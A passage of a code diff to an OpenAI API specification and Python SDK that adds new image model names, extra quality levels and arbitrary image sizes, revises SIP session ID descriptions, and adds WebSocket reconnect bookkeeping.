- description: The size of the generated images. For `gpt-image-2` and `gpt-image-2-2026-04-21`, arbitrary resolutions are supported as `WIDTHxHEIGHT` strings, for example `1536x864`. Width and height must both be divisible by 16 and the requested aspect ratio must be between 1:3 and 3:1. Resolutions above `2560x1440` are experimental, and the maximum supported resolution is `3840x2160`. The requested size must also satisfy the model's current pixel and edge limits. The standard sizes `1024x1024`, `1536x1024`, and `1024x1536` are supported by the GPT image models; `auto` is supported for models that allow automatic sizing. For `dall-e-2`, use one of `256x256`, `512x512`, or `1024x1024`. For `dall-e-3`, use one of `1024x1024`, `1792x1024`, or `1024x1792`.
+ description: The size of the generated images. For `gpt-image-2`, `gpt-image-2-2026-04-21`, `gpt-image-2.5-sunburst`, `gpt-image-2.5-sunburst-2026-09-08`, `gpt-image-2.5-flare`, and `gpt-image-2.5-flare-2026-09-08`, arbitrary resolutions are supported as `WIDTHxHEIGHT` strings, for example `1536x864`. Width and height must both be divisible by 16 and the requested aspect ratio must be between 1:3 and 3:1. Resolutions above `2560x1440` are experimental, and the maximum supported resolution is `3840x2160`. The requested size must also satisfy the model's current pixel and edge limits. The standard sizes `1024x1024`, `1536x1024`, and `1024x1536` are supported by the GPT image models; `auto` is supported for models that allow automatic sizing. For `dall-e-2`, use one of `256x256`, `512x512`, or `1024x1024`. For `dall-e-3`, use one of `1024x1024`, `1792x1024`, or `1024x1792`.
nullable: true
response_format:
type: string
@@ -33303,12 +33310,14 @@ components:
- low
- medium
- high
+ - xhigh
+ - max
- auto
default: auto
example: high
nullable: true
description: |
- The quality of the image that will be generated for GPT image models. Defaults to `auto`.
+ The quality of the image that will be generated for GPT image models. The GPT image models support `low`, `medium`, and `high`. `gpt-image-2.5-sunburst` and `gpt-image-2.5-flare`, including their `2026-09-08` snapshots, also support `xhigh` and `max`. Defaults to `auto`.
required:
- prompt
- image
@@ -33328,13 +33337,17 @@ components:
- gpt-image-1-mini
- gpt-image-2
- gpt-image-2-2026-04-21
+ - gpt-image-2.5-sunburst
+ - gpt-image-2.5-sunburst-2026-09-08
+ - gpt-image-2.5-flare
+ - gpt-image-2.5-flare-2026-09-08
- gpt-image-1.5
- chatgpt-image-latest
- dall-e-2
- dall-e-3
x-stainless-nominal: false
x-oaiTypeLabel: string
- description: The model to use for image generation. One of `dall-e-2`, `dall-e-3`, or a GPT image model (`gpt-image-1`, `gpt-image-1-mini`, `gpt-image-1.5`, `gpt-image-2`, or `gpt-image-2-2026-04-21`). Defaults to `dall-e-2` unless a parameter specific to the GPT image models is used.
+ description: The model to use for image generation. One of `dall-e-2`, `dall-e-3`, or a GPT image model (`gpt-image-1`, `gpt-image-1-mini`, `gpt-image-1.5`, `gpt-image-2`, `gpt-image-2-2026-04-21`, `gpt-image-2.5-sunburst`, `gpt-image-2.5-sunburst-2026-09-08`, `gpt-image-2.5-flare`, `gpt-image-2.5-flare-2026-09-08`). Defaults to `dall-e-2` unless a parameter specific to the GPT image models is used.
nullable: true
example: gpt-image-2
n:
@@ -33353,6 +33366,8 @@ components:
- low
- medium
- high
+ - xhigh
+ - max
- auto
default: auto
example: medium
@@ -33360,8 +33375,11 @@ components:
description: |
The quality of the image that will be generated.
- - `auto` (default value) will automatically select the best quality for the given model.
+ - `auto` (default value) will automatically select the best quality for the given
+ model.
- `high`, `medium` and `low` are supported for the GPT image models.
+ - `gpt-image-2.5-sunburst` and `gpt-image-2.5-flare`, including their `2026-09-08`
+ snapshots, also support `xhigh` and `max`.
- `hd` and `standard` are supported for `dall-e-3`.
- `standard` is the only option for `dall-e-2`.
response_format:
@@ -33413,7 +33431,7 @@ components:
- 512x512
- 1792x1024
- 1024x1792
- description: The size of the generated images. For `gpt-image-2` and `gpt-image-2-2026-04-21`, arbitrary resolutions are supported as `WIDTHxHEIGHT` strings, for example `1536x864`. Width and height must both be divisible by 16 and the requested aspect ratio must be between 1:3 and 3:1. Resolutions above `2560x1440` are experimental, and the maximum supported resolution is `3840x2160`. The requested size must also satisfy the model's current pixel and edge limits. The standard sizes `1024x1024`, `1536x1024`, and `1024x1536` are supported by the GPT image models; `auto` is supported for models that allow automatic sizing. For `dall-e-2`, use one of `256x256`, `512x512`, or `1024x1024`. For `dall-e-3`, use one of `1024x1024`, `1792x1024`, or `1024x1792`.
+ description: The size of the generated images. For `gpt-image-2`, `gpt-image-2-2026-04-21`, `gpt-image-2.5-sunburst`, `gpt-image-2.5-sunburst-2026-09-08`, `gpt-image-2.5-flare`, and `gpt-image-2.5-flare-2026-09-08`, arbitrary resolutions are supported as `WIDTHxHEIGHT` strings, for example `1536x864`. Width and height must both be divisible by 16 and the requested aspect ratio must be between 1:3 and 3:1. Resolutions above `2560x1440` are experimental, and the maximum supported resolution is `3840x2160`. The requested size must also satisfy the model's current pixel and edge limits. The standard sizes `1024x1024`, `1536x1024`, and `1024x1536` are supported by the GPT image models; `auto` is supported for models that allow automatic sizing. For `dall-e-2`, use one of `256x256`, `512x512`, or `1024x1024`. For `dall-e-3`, use one of `1024x1024`, `1792x1024`, or `1024x1792`.
nullable: true
moderation:
type: string
@@ -33434,15 +33452,16 @@ components:
example: transparent
nullable: true
description: |
- Allows to set transparency for the background of the generated image(s).
- Must be one of `transparent`, `opaque`, or `auto` (default value). When
- `auto` is used, the model will automatically determine the best
- background for the image.
+ Allows to set transparency for the background of the generated image(s). Must
+ be one of `transparent`, `opaque`, or `auto` (default value). When `auto` is
+ used, the model will automatically determine the best background for the
+ image.
- Transparent backgrounds are available for supported GPT Image models.
- For `gpt-image-2` and `gpt-image-2-2026-04-21`, this support is in
- preview. When using `transparent`, set the output format to `png` or
- `webp`.
+ `gpt-image-2.5-sunburst` and `gpt-image-2.5-flare`, including their
+ `2026-09-08` snapshots, support `opaque` and `transparent` backgrounds.
+ Transparent backgrounds are available for supported GPT Image models. For
+ `gpt-image-2` and `gpt-image-2-2026-04-21`, this support is in preview. When
+ using `transparent`, set the output format to `png` or `webp`.
style:
type: string
enum:
@@ -35529,6 +35548,10 @@ components:
- gpt-image-1.5
- gpt-image-2
- gpt-image-2-2026-04-21
+ - gpt-image-2.5-sunburst
+ - gpt-image-2.5-sunburst-2026-09-08
+ - gpt-image-2.5-flare
+ - gpt-image-2.5-flare-2026-09-08
- gpt-image-1
- gpt-image-1-mini
- chatgpt-image-latest
@@ -35536,7 +35559,7 @@ components:
x-oaiTypeLabel: string
default: gpt-image-1.5
example: gpt-image-1.5
- description: The GPT image model to use for image editing, including `gpt-image-2` and its dated snapshot `gpt-image-2-2026-04-21`.
+ description: The GPT image model to use for image editing, including `gpt-image-2`, its dated snapshot `gpt-image-2-2026-04-21`, `gpt-image-2.5-sunburst`, `gpt-image-2.5-sunburst-2026-09-08`, `gpt-image-2.5-flare`, and `gpt-image-2.5-flare-2026-09-08`.
images:
type: array
minItems: 1
@@ -35570,12 +35593,16 @@ components:
- low
- medium
- high
+ - xhigh
+ - max
- auto
- type: 'null'
default: auto
example: high
description: |
- Output quality for GPT image models.
+ Output quality for GPT image models. The GPT image models support `low`, `medium`,
+ and `high`. `gpt-image-2.5-sunburst` and `gpt-image-2.5-flare`, including their
+ `2026-09-08` snapshots, also support `xhigh` and `max`. Defaults to `auto`.
input_fidelity:
anyOf:
- type: string
@@ -35586,6 +35613,7 @@ components:
description: Controls fidelity to the original input image(s). This parameter is supported for GPT image models that support input fidelity. `gpt-image-2` and `gpt-image-2-2026-04-21` ignore this parameter.
size:
anyOf:
+ - type: string
- type: string
enum:
- auto
@@ -35595,7 +35623,7 @@ components:
- type: 'null'
default: auto
example: 1024x1024
- description: Requested output image size.
+ description: The size of the generated images. For `gpt-image-2`, `gpt-image-2-2026-04-21`, `gpt-image-2.5-sunburst`, `gpt-image-2.5-sunburst-2026-09-08`, `gpt-image-2.5-flare`, and `gpt-image-2.5-flare-2026-09-08`, arbitrary resolutions are supported as `WIDTHxHEIGHT` strings, for example `1536x864`. Width and height must both be divisible by 16 and the requested aspect ratio must be between 1:3 and 3:1. Resolutions above `2560x1440` are experimental, and the maximum supported resolution is `3840x2160`. The requested size must also satisfy the model's current pixel and edge limits. The standard sizes `1024x1024`, `1536x1024`, and `1024x1536` are supported by the GPT image models; `auto` is supported for models that allow automatic sizing.
user:
type: string
example: user-1234
@@ -35641,7 +35669,7 @@ components:
- type: 'null'
default: auto
example: transparent
- description: Set the background of the generated image output. Transparent backgrounds are available for supported GPT Image models. For `gpt-image-2` and `gpt-image-2-2026-04-21`, this support is in preview. When using `transparent`, set the output format to `png` or `webp`.
+ description: Set the background of the generated image output. `gpt-image-2.5-sunburst` and `gpt-image-2.5-flare`, including their `2026-09-08` snapshots, support `opaque` and `transparent` backgrounds. Transparent backgrounds are available for supported GPT Image models. For `gpt-image-2` and `gpt-image-2-2026-04-21`, this support is in preview. When using `transparent`, set the output format to `png` or `webp`.
stream:
anyOf:
- type: boolean
@@ -38912,14 +38940,15 @@ components:
description: |
The Unix timestamp when the event was created.
size:
- type: string
- description: |
- The size of the edited image.
- enum:
- - 1024x1024
- - 1024x1536
- - 1536x1024
- - auto
+ anyOf:
+ - type: string
+ - type: string
+ enum:
+ - 1024x1024
+ - 1024x1536
+ - 1536x1024
+ - auto
+ description: The image dimensions as a `WIDTHxHEIGHT` string, for example `1536x864`.
quality:
type: string
description: |
@@ -38928,6 +38957,8 @@ components:
- low
- medium
- high
+ - xhigh
+ - max
- auto
background:
type: string
@@ -39000,14 +39031,15 @@ components:
description: |
The Unix timestamp when the event was created.
size:
- type: string
- description: |
- The size of the requested edited image.
- enum:
- - 1024x1024
- - 1024x1536
- - 1536x1024
- - auto
+ anyOf:
+ - type: string
+ - type: string
+ enum:
+ - 1024x1024
+ - 1024x1536
+ - 1536x1024
+ - auto
+ description: The image dimensions as a `WIDTHxHEIGHT` string, for example `1536x864`.
quality:
type: string
description: |
@@ -39016,6 +39048,8 @@ components:
- low
- medium
- high
+ - xhigh
+ - max
- auto
background:
type: string
@@ -39088,14 +39122,15 @@ components:
description: |
The Unix timestamp when the event was created.
size:
- type: string
- description: |
- The size of the generated image.
- enum:
- - 1024x1024
- - 1024x1536
- - 1536x1024
- - auto
+ anyOf:
+ - type: string
+ - type: string
+ enum:
+ - 1024x1024
+ - 1024x1536
+ - 1536x1024
+ - auto
+ description: The image dimensions as a `WIDTHxHEIGHT` string, for example `1536x864`.
quality:
type: string
description: |
@@ -39104,6 +39139,8 @@ components:
- low
- medium
- high
+ - xhigh
+ - max
- auto
background:
type: string
@@ -39176,14 +39213,15 @@ components:
description: |
The Unix timestamp when the event was created.
size:
- type: string
- description: |
- The size of the requested image.
- enum:
- - 1024x1024
- - 1024x1536
- - 1536x1024
- - auto
+ anyOf:
+ - type: string
+ - type: string
+ enum:
+ - 1024x1024
+ - 1024x1536
+ - 1536x1024
+ - auto
+ description: The image dimensions as a `WIDTHxHEIGHT` string, for example `1536x864`.
quality:
type: string
description: |
@@ -39192,6 +39230,8 @@ components:
- low
- medium
- high
+ - xhigh
+ - max
- auto
background:
type: string
@@ -39264,12 +39304,18 @@ components:
- gpt-image-1-mini
- gpt-image-2
- gpt-image-2-2026-04-21
+ - gpt-image-2.5-sunburst
+ - gpt-image-2.5-sunburst-2026-09-08
+ - gpt-image-2.5-flare
+ - gpt-image-2.5-flare-2026-09-08
- gpt-image-1.5
- chatgpt-image-latest
description: |
The image generation model to use. One of `gpt-image-1`,
`gpt-image-1-mini`, `gpt-image-1.5`, `gpt-image-2`,
- `gpt-image-2-2026-04-21`, or `chatgpt-image-latest`. Default:
+ `gpt-image-2-2026-04-21`, `gpt-image-2.5-sunburst`,
+ `gpt-image-2.5-sunburst-2026-09-08`, `gpt-image-2.5-flare`,
+ `gpt-image-2.5-flare-2026-09-08`, or `chatgpt-image-latest`. Default:
`gpt-image-1`.
default: gpt-image-1
quality:
@@ -39278,10 +39324,14 @@ components:
- low
- medium
- high
+ - xhigh
+ - max
- auto
description: |
- The quality of the generated image. One of `low`, `medium`, `high`,
- or `auto`. Default: `auto`.
+ The quality of the generated image. The GPT image models support `low`,
+ `medium`, and `high`. `gpt-image-2.5-sunburst` and `gpt-image-2.5-flare`,
+ including their `2026-09-08` snapshots, also support `xhigh` and `max`.
+ Default: `auto`.
default: auto
size:
anyOf:
@@ -39292,7 +39342,7 @@ components:
- 1024x1536
- 1536x1024
- auto
- description: The size of the generated images. For `gpt-image-2` and `gpt-image-2-2026-04-21`, arbitrary resolutions are supported as `WIDTHxHEIGHT` strings, for example `1536x864`. Width and height must both be divisible by 16 and the requested aspect ratio must be between 1:3 and 3:1. Resolutions above `2560x1440` are experimental, and the maximum supported resolution is `3840x2160`. The requested size must also satisfy the model's current pixel and edge limits. The standard sizes `1024x1024`, `1536x1024`, and `1024x1536` are supported by the GPT image models; `auto` is supported for models that allow automatic sizing. For `dall-e-2`, use one of `256x256`, `512x512`, or `1024x1024`. For `dall-e-3`, use one of `1024x1024`, `1792x1024`, or `1024x1792`.
+ description: The size of the generated images. For `gpt-image-2`, `gpt-image-2-2026-04-21`, `gpt-image-2.5-sunburst`, `gpt-image-2.5-sunburst-2026-09-08`, `gpt-image-2.5-flare`, and `gpt-image-2.5-flare-2026-09-08`, arbitrary resolutions are supported as `WIDTHxHEIGHT` strings, for example `1536x864`. Width and height must both be divisible by 16 and the requested aspect ratio must be between 1:3 and 3:1. Resolutions above `2560x1440` are experimental, and the maximum supported resolution is `3840x2160`. The requested size must also satisfy the model's current pixel and edge limits. The standard sizes `1024x1024`, `1536x1024`, and `1024x1536` are supported by the GPT image models; `auto` is supported for models that allow automatic sizing. For `dall-e-2`, use one of `256x256`, `512x512`, or `1024x1024`. For `dall-e-3`, use one of `1024x1024`, `1792x1024`, or `1024x1792`.
default: auto
output_format:
type: string
@@ -39326,15 +39376,16 @@ components:
- opaque
- auto
description: |
- Allows to set transparency for the background of the generated image(s).
- Must be one of `transparent`, `opaque`, or `auto` (default value). When
- `auto` is used, the model will automatically determine the best
- background for the image.
+ Allows to set transparency for the background of the generated image(s). Must
+ be one of `transparent`, `opaque`, or `auto` (default value). When `auto` is
+ used, the model will automatically determine the best background for the
+ image.
- Transparent backgrounds are available for supported GPT Image models.
- For `gpt-image-2` and `gpt-image-2-2026-04-21`, this support is in
- preview. When using `transparent`, set the output format to `png` or
- `webp`.
+ `gpt-image-2.5-sunburst` and `gpt-image-2.5-flare`, including their
+ `2026-09-08` snapshots, support `opaque` and `transparent` backgrounds.
+ Transparent backgrounds are available for supported GPT Image models. For
+ `gpt-image-2` and `gpt-image-2-2026-04-21`, this support is in preview. When
+ using `transparent`, set the output format to `png` or `webp`.
default: auto
input_fidelity:
anyOf:
@@ -39402,6 +39453,28 @@ components:
description: |
The generated image encoded in base64.
- type: 'null'
+ size:
+ anyOf:
+ - type: string
+ - type: string
+ enum:
+ - 1024x1024
+ - 1024x1536
+ - 1536x1024
+ - type: 'null'
+ description: The image dimensions as a `WIDTHxHEIGHT` string, for example `1536x864`.
+ quality:
+ anyOf:
+ - type: string
+ enum:
+ - low
+ - medium
+ - high
+ - xhigh
+ - max
+ - auto
+ - type: 'null'
+ description: The quality of the image generated by the image generation tool call. One of `low`, `medium`, `high`, `xhigh`, `max`, or `auto`.
required:
- type
- id
@@ -39461,19 +39534,23 @@ components:
- webp
- jpeg
size:
- type: string
- description: The size of the image generated. Either `1024x1024`, `1024x1536`, or `1536x1024`.
- enum:
- - 1024x1024
- - 1024x1536
- - 1536x1024
+ anyOf:
+ - type: string
+ - type: string
+ enum:
+ - 1024x1024
+ - 1024x1536
+ - 1536x1024
+ description: The image dimensions as a `WIDTHxHEIGHT` string, for example `1536x864`.
quality:
type: string
- description: The quality of the image generated. Either `low`, `medium`, or `high`.
+ description: The quality of the image generated. One of `low`, `medium`, `high`, `xhigh`, or `max`.
enum:
- low
- medium
- high
+ - xhigh
+ - max
usage:
$ref: '#/components/schemas/ImageGenUsage'
required:
@@ -61679,8 +61756,8 @@ components:
session_id:
type: string
description: |
- The Transceiver `rtc_...` ID of the pending SIP session. The same
- value appears as `call_id` in `realtime.call.incoming`.
+ The `live_...` ID of the pending SIP session. Forward this value
+ unchanged when accepting or rejecting the call through the Live API.
sip_headers:
type: array
description: |
@@ -61724,7 +61801,7 @@ components:
"type": "live.call.incoming",
"created_at": 1719168000,
"data": {
- "session_id": "rtc_479a275623b54bdb9b6fbae2f7cbd408",
+ "session_id": "live_u0_479a275623b54bdb9b6fbae2f7cbd408",
"sip_headers": [
{"name": "Max-Forwards", "value": "63"},
{"name": "CSeq", "value": "851287 INVITE"},
@@ -61765,8 +61842,10 @@ components:
call_id:
type: string
description: |
- The Transceiver `rtc_...` ID of the pending SIP session. The same
- value appears as `session_id` in `live.call.incoming`.
+ The Transceiver `rtc_...` ID of the pending SIP session. The paired
+ `live.call.incoming` event derives its `session_id` by replacing the
+ `rtc_` prefix with `live_`. Use the ID returned by the event with the
+ corresponding Realtime or Live API.
sip_headers:
type: array
description: |
@@ -66896,6 +66975,7 @@ components:
- items:
$ref: '#/components/schemas/InputItem'
type: array
+ maxItems: 131072
description: A list of one or many input items to the model, containing different content types.
- type: 'null'
previous_response_id:
@@ -66995,6 +67075,7 @@ components:
- items:
$ref: '#/components/schemas/InputItem'
type: array
+ maxItems: 131072
description: A list of one or many input items to the model, containing different content types.
- type: 'null'
previous_response_id:
@@ -68496,6 +68577,7 @@ components:
- items:
$ref: '#/components/schemas/BetaInputItem'
type: array
+ maxItems: 131072
description: A list of one or many input items to the model, containing different content types.
- type: 'null'
previous_response_id:
@@ -69613,12 +69695,18 @@ components:
- gpt-image-1-mini
- gpt-image-2
- gpt-image-2-2026-04-21
+ - gpt-image-2.5-sunburst
+ - gpt-image-2.5-sunburst-2026-09-08
+ - gpt-image-2.5-flare
+ - gpt-image-2.5-flare-2026-09-08
- gpt-image-1.5
- chatgpt-image-latest
description: |
The image generation model to use. One of `gpt-image-1`,
`gpt-image-1-mini`, `gpt-image-1.5`, `gpt-image-2`,
- `gpt-image-2-2026-04-21`, or `chatgpt-image-latest`. Default:
+ `gpt-image-2-2026-04-21`, `gpt-image-2.5-sunburst`,
+ `gpt-image-2.5-sunburst-2026-09-08`, `gpt-image-2.5-flare`,
+ `gpt-image-2.5-flare-2026-09-08`, or `chatgpt-image-latest`. Default:
`gpt-image-1`.
default: gpt-image-1
quality:
@@ -69627,10 +69715,14 @@ components:
- low
- medium
- high
+ - xhigh
+ - max
- auto
description: |
- The quality of the generated image. One of `low`, `medium`, `high`,
- or `auto`. Default: `auto`.
+ The quality of the generated image. The GPT image models support `low`,
+ `medium`, and `high`. `gpt-image-2.5-sunburst` and `gpt-image-2.5-flare`,
+ including their `2026-09-08` snapshots, also support `xhigh` and `max`.
+ Default: `auto`.
default: auto
size:
anyOf:
@@ -69641,7 +69733,7 @@ components:
- 1024x1536
- 1536x1024
- auto
- description: The size of the generated images. For `gpt-image-2` and `gpt-image-2-2026-04-21`, arbitrary resolutions are supported as `WIDTHxHEIGHT` strings, for example `1536x864`. Width and height must both be divisible by 16 and the requested aspect ratio must be between 1:3 and 3:1. Resolutions above `2560x1440` are experimental, and the maximum supported resolution is `3840x2160`. The requested size must also satisfy the model's current pixel and edge limits. The standard sizes `1024x1024`, `1536x1024`, and `1024x1536` are supported by the GPT image models; `auto` is supported for models that allow automatic sizing. For `dall-e-2`, use one of `256x256`, `512x512`, or `1024x1024`. For `dall-e-3`, use one of `1024x1024`, `1792x1024`, or `1024x1792`.
+ description: The size of the generated images. For `gpt-image-2`, `gpt-image-2-2026-04-21`, `gpt-image-2.5-sunburst`, `gpt-image-2.5-sunburst-2026-09-08`, `gpt-image-2.5-flare`, and `gpt-image-2.5-flare-2026-09-08`, arbitrary resolutions are supported as `WIDTHxHEIGHT` strings, for example `1536x864`. Width and height must both be divisible by 16 and the requested aspect ratio must be between 1:3 and 3:1. Resolutions above `2560x1440` are experimental, and the maximum supported resolution is `3840x2160`. The requested size must also satisfy the model's current pixel and edge limits. The standard sizes `1024x1024`, `1536x1024`, and `1024x1536` are supported by the GPT image models; `auto` is supported for models that allow automatic sizing. For `dall-e-2`, use one of `256x256`, `512x512`, or `1024x1024`. For `dall-e-3`, use one of `1024x1024`, `1792x1024`, or `1024x1792`.
default: auto
output_format:
type: string
@@ -69675,15 +69767,16 @@ components:
- opaque
- auto
description: |
- Allows to set transparency for the background of the generated image(s).
- Must be one of `transparent`, `opaque`, or `auto` (default value). When
- `auto` is used, the model will automatically determine the best
- background for the image.
+ Allows to set transparency for the background of the generated image(s). Must
+ be one of `transparent`, `opaque`, or `auto` (default value). When `auto` is
+ used, the model will automatically determine the best background for the
+ image.
- Transparent backgrounds are available for supported GPT Image models.
- For `gpt-image-2` and `gpt-image-2-2026-04-21`, this support is in
- preview. When using `transparent`, set the output format to `png` or
- `webp`.
+ `gpt-image-2.5-sunburst` and `gpt-image-2.5-flare`, including their
+ `2026-09-08` snapshots, support `opaque` and `transparent` backgrounds.
+ Transparent backgrounds are available for supported GPT Image models. For
+ `gpt-image-2` and `gpt-image-2-2026-04-21`, this support is in preview. When
+ using `transparent`, set the output format to `png` or `webp`.
default: auto
input_fidelity:
anyOf:
@@ -71691,6 +71784,28 @@ components:
description: |
The generated image encoded in base64.
- type: 'null'
+ size:
+ anyOf:
+ - type: string
+ - type: string
+ enum:
+ - 1024x1024
+ - 1024x1536
+ - 1536x1024
+ - type: 'null'
+ description: The image dimensions as a `WIDTHxHEIGHT` string, for example `1536x864`.
+ quality:
+ anyOf:
+ - type: string
+ enum:
+ - low
+ - medium
+ - high
+ - xhigh
+ - max
+ - auto
+ - type: 'null'
+ description: The quality of the image generated by the image generation tool call. One of `low`, `medium`, `high`, `xhigh`, `max`, or `auto`.
required:
- type
- id
@@ -73577,6 +73692,7 @@ components:
- items:
$ref: '#/components/schemas/BetaInputItem'
type: array
+ maxItems: 131072
description: A list of one or many input items to the model, containing different content types.
- type: 'null'
previous_response_id:
diff --git a/src/openai/resources/beta/responses/responses.py b/src/openai/resources/beta/responses/responses.py
index e3c73c6be1..8f45bfdba7 100644
--- a/src/openai/resources/beta/responses/responses.py
+++ b/src/openai/resources/beta/responses/responses.py
@@ -4206,6 +4206,15 @@ async def recv_bytes(self) -> bytes:
"""
message = await self._connection.recv(decode=False)
log.debug("Received WebSocket message: %i bytes", len(message))
+ if self._reconnect_attempt:
+ # Account for raw application progress without changing frame delivery.
+ try:
+ event_data: object = json.loads(message)
+ except (ValueError, RecursionError):
+ return message
+ event_type = cast("dict[str, object]", event_data).get("type") if isinstance(event_data, dict) else None
+ if isinstance(event_type, str) and event_type and event_type != "error":
+ self._reconnect_attempt = 0
return message
async def send(self, event: BetaResponsesClientEvent | BetaResponsesClientEventParam) -> None:
@@ -4675,6 +4684,15 @@ def recv_bytes(self) -> bytes:
"""
message = self._connection.recv(decode=False)
log.debug("Received WebSocket message: %i bytes", len(message))
+ if self._reconnect_attempt:
+ # Account for raw application progress without changing frame delivery.
+ try:
+ event_data: object = json.loads(message)
+ except (ValueError, RecursionError):
+ return message
+ event_type = cast("dict[str, object]", event_data).get("type") if isinstance(event_data, dict) else None
+ if isinstance(event_type, str) and event_type and event_type != "error":
+ self._reconnect_attempt = 0
return message
def send(self, event: BetaResponsesClientEvent | BetaResponsesClientEventParam) -> None:
diff --git a/src/openai/resources/images.py b/src/openai/resources/images.py
index 8081f3532c..62d00ef07b 100644
--- a/src/openai/resources/images.py
+++ b/src/openai/resources/images.py
@@ -139,7 +139,7 @@ def edit(
output_compression: Optional[int] | Omit = omit,
output_format: Optional[Literal["png", "jpeg", "webp"]] | Omit = omit,
partial_images: Optional[int] | Omit = omit,
- quality: Optional[Literal["standard", "low", "medium", "high", "auto"]] | Omit = omit,
+ quality: Optional[Literal["standard", "low", "medium", "high", "xhigh", "max", "auto"]] | Omit = omit,
response_format: Optional[Literal["url", "b64_json"]] | Omit = omit,
size: Union[str, Literal["256x256", "512x512", "1024x1024", "1536x1024", "1024x1536", "auto"], None]
| Omit = omit,
@@ -155,16 +155,17 @@ def edit(
"""Creates an edited or extended image given one or more source images and a
prompt.
- This endpoint supports GPT Image models (`gpt-image-1.5`, `gpt-image-1`,
- `gpt-image-1-mini`, and `chatgpt-image-latest`) and `dall-e-2`.
+ This endpoint supports GPT Image models and `dall-e-2`.
Args:
image: The image(s) to edit. Must be a supported image file or an array of images.
For the GPT image models (`gpt-image-1`, `gpt-image-1-mini`, `gpt-image-1.5`,
- `gpt-image-2`, `gpt-image-2-2026-04-21`, and `chatgpt-image-latest`), each image
- should be a `png`, `webp`, or `jpg` file less than 50MB. You can provide up to
- 16 images.
+ `gpt-image-2`, `gpt-image-2-2026-04-21`, `gpt-image-2.5-sunburst`,
+ `gpt-image-2.5-sunburst-2026-09-08`, `gpt-image-2.5-flare`,
+ `gpt-image-2.5-flare-2026-09-08`, and `chatgpt-image-latest`), each image should
+ be a `png`, `webp`, or `jpg` file less than 50MB. You can provide up to 16
+ images.
For `dall-e-2`, you can only provide one image, and it should be a square `png`
file less than 4MB.
@@ -176,9 +177,11 @@ def edit(
one of `transparent`, `opaque`, or `auto` (default value). When `auto` is used,
the model will automatically determine the best background for the image.
- Transparent backgrounds are available for supported GPT Image models. For
- `gpt-image-2` and `gpt-image-2-2026-04-21`, this support is in preview. When
- using `transparent`, set the output format to `png` or `webp`.
+ `gpt-image-2.5-sunburst` and `gpt-image-2.5-flare`, including their `2026-09-08`
+ snapshots, support `opaque` and `transparent` backgrounds. Transparent
+ backgrounds are available for supported GPT Image models. For `gpt-image-2` and
+ `gpt-image-2-2026-04-21`, this support is in preview. When using `transparent`,
+ set the output format to `png` or `webp`.
input_fidelity: Control how much effort the model will exert to match the style and features,
especially facial features, of input images. This parameter is only supported
@@ -192,7 +195,9 @@ def edit(
model: The model to use for image generation. One of `dall-e-2` or a GPT image model
(`gpt-image-1`, `gpt-image-1-mini`, `gpt-image-1.5`, `gpt-image-2`,
- `gpt-image-2-2026-04-21`, or `chatgpt-image-latest`). Defaults to
+ `gpt-image-2-2026-04-21`, `gpt-image-2.5-sunburst`,
+ `gpt-image-2.5-sunburst-2026-09-08`, `gpt-image-2.5-flare`,
+ `gpt-image-2.5-flare-2026-09-08`, or `chatgpt-image-latest`). Defaults to
`gpt-image-1.5`.
n: The number of images to generate. Must be between 1 and 10.
@@ -212,25 +217,28 @@ def edit(
Note that the final image may be sent before the full number of partial images
are generated if the full image is generated more quickly.
- quality: The quality of the image that will be generated for GPT image models. Defaults
- to `auto`.
+ quality: The quality of the image that will be generated for GPT image models. The GPT
+ image models support `low`, `medium`, and `high`. `gpt-image-2.5-sunburst` and
+ `gpt-image-2.5-flare`, including their `2026-09-08` snapshots, also support
+ `xhigh` and `max`. Defaults to `auto`.
response_format: The format in which the generated images are returned. Must be one of `url` or
`b64_json`. URLs are only valid for 60 minutes after the image has been
generated. This parameter is only supported for `dall-e-2` (default is `url` for
`dall-e-2`), as GPT image models always return base64-encoded images.
- size: The size of the generated images. For `gpt-image-2` and
- `gpt-image-2-2026-04-21`, arbitrary resolutions are supported as `WIDTHxHEIGHT`
- strings, for example `1536x864`. Width and height must both be divisible by 16
- and the requested aspect ratio must be between 1:3 and 3:1. Resolutions above
- `2560x1440` are experimental, and the maximum supported resolution is
- `3840x2160`. The requested size must also satisfy the model's current pixel and
- edge limits. The standard sizes `1024x1024`, `1536x1024`, and `1024x1536` are
- supported by the GPT image models; `auto` is supported for models that allow
- automatic sizing. For `dall-e-2`, use one of `256x256`, `512x512`, or
- `1024x1024`. For `dall-e-3`, use one of `1024x1024`, `1792x1024`, or
- `1024x1792`.
+ size: The size of the generated images. For `gpt-image-2`, `gpt-image-2-2026-04-21`,
+ `gpt-image-2.5-sunburst`, `gpt-image-2.5-sunburst-2026-09-08`,
+ `gpt-image-2.5-flare`, and `gpt-image-2.5-flare-2026-09-08`, arbitrary
+ resolutions are supported as `WIDTHxHEIGHT` strings, for example `1536x864`.
+ Width and height must both be divisible by 16 and the requested aspect ratio
+ must be between 1:3 and 3:1. Resolutions above `2560x1440` are experimental, and
+ the maximum supported resolution is `3840x2160`. The requested size must also
+ satisfy the model's current pixel and edge limits. The standard sizes
+ `1024x1024`, `1536x1024`, and `1024x1536` are supported by the GPT image models;
+ `auto` is supported for models that allow automatic sizing. For `dall-e-2`, use
+ one of `256x256`, `512x512`, or `1024x1024`. For `dall-e-3`, use one of
+ `1024x1024`, `1792x1024`, or `1024x1792`.
stream: Edit the image in streaming mode. Defaults to `false`. See the
[Image generation guide](https://platform.openai.com/docs/guides/image-generation)
@@ -265,7 +273,7 @@ def edit(
output_compression: Optional[int] | Omit = omit,
output_format: Optional[Literal["png", "jpeg", "webp"]] | Omit = omit,
partial_images: Optional[int] | Omit = omit,
- quality: Optional[Literal["standard", "low", "medium", "high", "auto"]] | Omit = omit,
+ quality: Optional[Literal["standard", "low", "medium", "high", "xhigh", "max", "auto"]] | Omit = omit,
response_format: Optional[Literal["url", "b64_json"]] | Omit = omit,
size: Union[str, Literal["256x256", "512x512", "1024x1024", "1536x1024", "1024x1536", "auto"], None]
| Omit = omit,
@@ -280,16 +288,17 @@ def edit(
"""Creates an edited or extended image given one or more source images and a
prompt.
- This endpoint supports GPT Image models (`gpt-image-1.5`, `gpt-image-1`,
- `gpt-image-1-mini`, and `chatgpt-image-latest`) and `dall-e-2`.
+ This endpoint supports GPT Image models and `dall-e-2`.
Args:
image: The image(s) to edit. Must be a supported image file or an array of images.
For the GPT image models (`gpt-image-1`, `gpt-image-1-mini`, `gpt-image-1.5`,
- `gpt-image-2`, `gpt-image-2-2026-04-21`, and `chatgpt-image-latest`), each image
- should be a `png`, `webp`, or `jpg` file less than 50MB. You can provide up to
- 16 images.
